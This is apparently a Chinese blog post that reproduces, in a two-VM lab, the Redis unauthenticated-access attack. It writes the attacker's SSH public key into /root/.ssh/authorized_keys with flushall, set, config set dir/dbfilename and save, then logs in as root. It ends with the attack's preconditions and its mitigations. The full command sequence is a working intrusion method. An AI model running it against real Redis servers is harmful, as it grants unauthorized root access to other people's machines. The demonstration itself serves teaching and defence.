引用一位CVTE 技术经理写的“深入理解TCP协议”中的例子
把本来应该是内网或本机调用的服务端口暴露到公网是极其危险的事情,比如之前 2015 年很多 Redis 服务器遭受到了攻击,方法正是利用了暴露在公网的 Redis 端口进行入侵系统。
它的原理是利用了不需要密码登录的 redis,清空 redis 数据库后写入他自己的 ssh 登录公钥,然后将redis数据库备份为 /root/.ssh/authotrized_keys。 这就成功地将自己的公钥写入到 .ssh 的 authotrized_keys,无需密码直接 root 登录被黑的主机。
这里我来演示一下这个过程,我准备了两台机器,一台作客户端kali,一台作服务器centos7,都用的虚拟机
1.服务器的机器准备工作
安装redis,安装可看这里
安装好后还需要一些额外的配置才能模拟被黑的情况
1.将protected-mode 改为no,取消保护模式,不然仍然无法通过redis-cli -h 连接上远程redis主机
2.取消绑定127.0.0.1
注释掉这一行配置,否则服务器不会监听来自其它ip的redis请求
3.禁用防火墙
systemctl stop firewalld.service
2.客户端准备
同样需要安装redis
尝试使用ssh [email protected]登录远程主机,发现需要密码,如果猜不到那就登录不上了
1.使用 ssh-keygen 生成公钥
ssh-keygen
查看一下生成的公钥,~表示/root目录
2.将客户端公钥写入到文件 foo.txt 中以便后面写入到 redis,其实是生成一个头尾都包含两个空行的公钥文件
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt
3.先清空 Redis 存储所有的内容,将 foo.txt 文件内容写入到某个 key 中,这里为 crackit,随后调用 redis-cli 登录 redis 调用 config 命令设置文件 redis 的 dir 目录和把 rdb 文件的名字dbfilename 设置为 authorized_keys。
#我机器作服务器的centos7 ip为192.168.172.126
redis-cli -h 192.168.172.126 echo flushall
#-x代表从标准输入读取数据作为该命令的最后一个参数。set给数据库中名称为key的string赋予值value,这里key是crackit,叫什么问题不大
cat foo.txt | redis-cli -h 192.168.172.126 -x set crackit
// 登录 Redis
redis-cli -h 192.168.172.126
#指定本地数据库存放目录
config set dir /root/.ssh
#指定本地数据库文件名,默认值为dump.rdb
config set dbfilename "authorized_keys"
过程:
4.执行 save 将 crackit 内容 落盘
save
5.尝试登录
ssh root@192.168.172.126
成功,并查看黑进去的服务器的公钥,确实是我们客户端的公钥(可见之前的图)
总结
以下部分是《深入理解TCP协议》作者原话
利用这个漏洞有几个前提条件
- Redis 绑定 0.0.0.0 允许所有来源的 TCP 连接,且没有设置密码 这完全是作死,因为就算不能入侵你的系统,也可以修改
Redis 中缓存的内容。不过 Redis 的设计者们一开始就认为不会有人这么做,因为把 Redis
放在一个信任的内网环境运行才是正道啊。 - Redis 没有设置密码或密码过于简单 大部分开发都没有意识到 Redis
没有密码是一个大问题,要么是一个很简单的密码要么没有密码,Redis
的处理能力非常强,auth这种命令可以一秒钟处理几万次以上,简单的密码很容易被暴力破解 - redis-server 进程使用 root 用户启动 不用 root 用户启动也可以完成刷新 authorized_keys
的功能,但是不能登陆,因为非 root 用户 authorized_keys 的权限要求是 600
才可以登录,但是可以覆盖破坏系统的文件。 - 没有禁用 save、config、flushall 这些高危操作 在正式服务器上这些高危操作都应该禁用或者进行重命名。这样就算登录你你的
Redis,也没有办法修改 Redis 的配置和修改服务器上的文件。
解决办法
- 首要原则:不暴露服务到公网 让 redis 运行在相对可信任的内网环境
- 设置高强度密码 使用高强度密码增加暴力破解的难度
- 禁止 root 用户启动 redis 业务服务永远不要使用 root 权限启动
- 禁用或者重命名高危命令 禁用或者重命名 save、config、flushall 等这些高危命令,就算成功登陆了
Redis,也就只能折腾你的 redis,不能取得系统的权限进行更危险的操作 - 升级高版本的 Redis 出现如此严重的问题,Redis 从 3.2 版本加入了 protected mode, 在没有指定 bind
地址或者没有开启密码设置的情况下,只能通过回环地址本地访问,如果尝试远程访问 redis,会提示以下错误:
可见我的实践过程中对服务器事先做一些处理是必要的,否则模拟不出来